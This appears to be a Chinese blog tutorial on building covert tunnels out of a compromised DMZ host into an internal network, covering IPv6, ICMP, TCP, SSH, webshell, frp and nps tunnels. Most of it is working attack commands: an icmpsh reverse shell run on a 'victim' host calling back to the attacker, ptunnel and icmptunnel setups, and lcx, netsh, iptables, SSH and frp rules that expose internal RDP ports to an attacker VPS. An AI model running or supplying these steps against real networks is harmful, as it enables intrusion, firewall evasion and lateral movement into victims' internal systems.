内网基础-隐藏通信隧道技术

2021-03-25 09:41:23 浏览数 (1)

点击蓝字关注我哦

1.前言

当我们在外网打下一个点,通过arp,netstat,以及ifconifg(ipconfig)等信息收集,发现此点为dmz,可通内网,那么这时候我们需要在此点上搭建通向内网的隧道,为内网渗透打下坚实基础。

2. 常用隧道分类

根据不同层的网络协议,大致分为以下几种常用的隧道:

2.1 应用层

  • ssh隧道
  • http(https)隧道
  • dns隧道

2.2 传输层

  • tcp隧道
  • udp隧道
  • 常规端口转发

2.3 网络层

  • Ipv6隧道
  • icmp隧道
  • gre隧道

3.判断哪些流量能出网

拿到一个点,并不是一上来就frp,frp虽然稳定,但是遇到一些特殊情况也不是很好用,如果遇到web服务器是通过端口映射出来的,本身主机不出网,这时候就得用webshell代理流量,当然还有一种,需要通过特定代理的服务器才能出网,这时候可以做浏览器的信息收集,这种情况外网资产扫端口也可以见,nmap扫出来的服务为sockets或者proxy服务什么的。

综合判断几种协议的出网情况

3.1 icmp协议

ping 命令

3.2 Http协议

linux:

  • wget 命令
  • curl 命令

Windows:

  • telnet
  • 浏览器

3.3 dns协议:

指向外网的vps作为dns服务器解析域名

Windows

Nslookup baidu.com vps

Linux

dig@vps Baidu.com

4.搭建隧道实战

4.1 搭建ipv6隧道

前提:支持ipv6,通过ipconfig(ifconfig)看有没有ipv6的地址

特点:过安全设备,防火墙奇效

原理:把ipv6协议封装数据包后继续用ipv4封装,本质在网络中传输还是ipv4,一些安全设备和防火墙不支持ipv6,所以就算拿到了进行分析也解不了包。

这里我以6tunnel为例:

代码语言:javascript复制
github:https://github.com/wojtekka/6tunnel

gcc编译

端口转发:

命令:

代码语言:javascript复制
./6tunnel -4 80 需要转发的ipv6%eth0 80#将ipv6地址80端口转发到本地ipv4来,你也可以换成-6

注意:ipv6隧道可以从ipv6地址到ipv6地址,也可以从ipv4地址到ipv6地址,但不能从ipv6到ipv4。如果从本机的ipv6地址到目标机的ipv4,测试抓到的包是ipv4的包,并不会对数据包进行ipv6封装,%是制定网卡


访问ipv6地址时需指定网卡,例如http://[fe80::xxxx:xxxx%eth0],或者curl -6 -g --interface eth0 "http://[fe80::20c:29ff:fe0f:57ba]:80" -vvv

4.2 搭建icmp隧道

前提:防火墙waf有允许icmp包文通过,关闭系统icmp自动答复,安装python-impacket

特点:简单,实用

原理:将tcp/udp 数据封装到icmp的ping数据包中,从而建立通信

代码语言:javascript复制
github:https://github.com/bdamele/icmpsh

反弹shell:

关闭本地的icmp应答:

代码语言:javascript复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1

本地主机监听:

代码语言:javascript复制
python icmpsh_m.py 192.168.75.131(本地ip) 192.168.75.132(受害者ip)

在受害者主机运行:

代码语言:javascript复制
icmpsh.exe -t 192.168.75.131(攻击者)

端口转发:

使用的是:ptunnel kali自带

需要安装一些依赖库

代码语言:javascript复制
libpcap环境
libpcap依赖库
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz

在攻击vps上执行:

代码语言:javascript复制
ptunnel -p 182.17.13.17(跳板机外网ip) -lp 8888 -da 10.10.10.18(内网需要转发端口的ip) -dp 3389 -x Gamma

在跳板机上执行:

代码语言:javascript复制
ptunnel -x Gamma

内网10.10.10.18 3389端口就被转发到攻击vps的8888端口了

4.3 icmp隧道搭建

安装icmptunnel

代码语言:javascript复制
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

客户端和服务器需同时禁用icmp答复

代码语言:javascript复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1

这里攻击者为服务端,受害者为客户端

服务端配置:

代码语言:javascript复制
./icmptunnel -s#以服务端启动
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #配置一个ip

客户端配置:

代码语言:javascript复制
./icmptunnel 192.168.75.131(服务端ip)
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #配置一个ip

那么就可以隧道进行通信了

4.4 tcp端口转发

windows:

工具:lcx.exe netsh .........

把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口

代码语言:javascript复制
lcx.exe -slave 公网ip 8888 内网ip 3389

本地搭建端口之间的隧道

代码语言:javascript复制
lcx.exe –listen 8888 3389#本地3389和8888端口进行连接

netsh仅支持TCP协议, 适用于双网卡服务器

代码语言:javascript复制
#查看现有规则
netsh interface portproxy show all

#添加转发规则
netsh interface portproxy set v4tov4 listenaddress=外网IP listenport=6666 connectaddress=内网IP connectport=3389
#删除转发规则
netsh interface portproxy delete v4tov4 listenport=6666

#xp需要安装ipv6
netsh interface ipv6 install

连接外网6666端口,就是连接到内网目标上面的3389。

linux:

代码语言:javascript复制
./portmap -m 2 -p1 4444 -h2 公网主机ip -p2 3389

将4444端口的流量转发到3389端口

代码语言:javascript复制
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 4444#内网主机执行

把内网的22端口转发到外网的3389端口

linux iptables使用:

代码语言:javascript复制
vi /etc/sysctl.conf
  net.ipv4.ip_forward = 1#开启IP转发

#关闭服务
service iptables stop

#需要访问的内网地址:10.1.1.11(Windows)
#内网边界web服务器:192.168.100.100(Linux)

iptables -t nat -A PREROUTING --dst 192.168.100.100 -p tcp --dport 3389 -j DNAT--to-destination 10.1.1.11:3389iptables -t nat -A POSTROUTING --dst 10.1.1.11 -p tcp --dport 3389 -j SNAT --to-source 192.168.100.100

#保存重启服务
service iptables save && service iptables start

4.5 webshell代理工具

配合Webshell,复用目标的Web服务端口开一个Socks5代理隧道。

https://github.com/L-codes/Neo-reGeorg

代码语言:javascript复制
#生成服务端
python3 neoreg.py generate -k password  

#在本地建立Socks5代理
python3 neoreg.py -k password -u http://xx/tunnel.php

还可以用作端口转发,把webshell所在主机的端口转发到本地(不出网的情况很好用),请自行探索

4.6 ssh隧道

SSH一般是允许通过防火墙的,而且传输过程是加密的

本地转发(正向)

在中传VPS上执行以下命令

代码语言:javascript复制
ssh -CfNg -L <VPS监听端口>:<目标内网IP>:<目标端口> root@目标外网Web服务器(会要求输入密码)

ssh -CfNg -L 8080:10.1.1.3:3389 root@100.100.1.100

#VPS上查看8090端口是否已经连接
netstat -tulnp | grep "8090"

#连接目标内网服务器的远程桌面
VPS-IP:8090

远程转发(反向)

在Web服务器上执行如下命令

代码语言:javascript复制
ssh -CfNg -R <VPS的端口>:<目标内网IP>:<目标端口> root@VPS-IP(会要求输入密码)
ssh -CfNg -R 8090:10.1.1.3:3389 root@192.168.0.1

访问VPS的8090端口,即可连接内网数据库服务器的3389

4.7 Frp搭建隧道:

github:https://github.com/fatedier/frp

简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP、TCP、UDP等众多协议。

端口转发:

服务端配置文件frps.init:

代码语言:javascript复制
[common]
bind_port = 7000
token = server_pass

客户端配置文件:

代码语言:javascript复制
[common]
server_addr = x.x.x.x
server_port = 7000
token = server_pass
[rdp]
type = tcp #流量类型
local_ip = 内网ip     # 局域网地址,可以是非本机ip       
local_port = 3389#要转发的端口
remote_port = 7001#远程端口
plugin =socks5

访问vps 7001 则访问内网3389端口

启动的话就一个服务器./frps -c frps.ini 一个客户端./frpc -c frpc.ini

socks5代理更简单了:

客户端配置:

代码语言:javascript复制
[common]
server_addr = x.x.x.x
server_port = 7000
token = server_pass
[socks_proxy]
type = tcp #流量类型
remote_port = 7001#远程端口
plugin =socks5

4.8 搭建NPS隧道:

frp不行,又不会改流量特征,可以用用nps

使用步骤:

开启服务端,假如公网服务器ip为1.1.1.1,配置文件中bridge_port为8024,配置文件中web_port为8080

访问1.1.1.1:8080

在客户端管理中创建一个客户端,记录下验证密钥

内网客户端运行(windows使用cmd运行加.exe)

1、下载nps服务端到自己的VPS(https://ehang-io.github.io/nps)

代码语言:javascript复制
chmod  x nps
sudo ./nps install  #安装

2.修改配置文件(敏感信息改掉/etc/nps/conf/nps.conf,原本的配置文件挺长的,运行反而会报错,直接替换成以下的文件

代码语言:javascript复制
appname = nps
#Boot mode(dev|pro)
runmode = dev

##bridge
# 底层通信协议,默认tcp,可选用kcp
bridge_type=tcp
# 底层通信端口,默认8024,如已被占用请指定其他端口
bridge_port=8024
bridge_ip=0.0.0.0

# 当客户端以配置文件模式启动时会用到的验证密钥,可自行设置,本教程不会使用到
public_vkey=<你的通信密钥>

#web
web_host=<服务器IP或域名>
web_username=<设置用户名>
web_password=<设置密码>
web_port = <网页面板端口>
web_ip=0.0.0.0

3.开启服务端

代码语言:javascript复制
sudo nps start    #启动
sudo nps stop    #停止
sudo nps reload    #服务端配置文件重载

4.访问vpsip s:8080,在客户端管理中创建一个客户端,记录下验证密钥(也可以不设置,则会默认生成)

选择客户端通过配置文件连接为否,不然可能会配置冲突,点击新增,新增成功

可以直接看到客户端启动命令可以直接复制。

下载对应的客户端,因为我这里下载的服务端为linux_amd64,则下载windows_amd64

运行命令可以看到连接成功。

web界面也可以看到主机上线

下一步就能对客户端进行操作了:

直接点击隧道选项,对该客户端进行操作……

非常的好用嗷!

当然小众的一些代理工具会更好用,给自己立个flag,自己开发一个代理工具

END

0 人点赞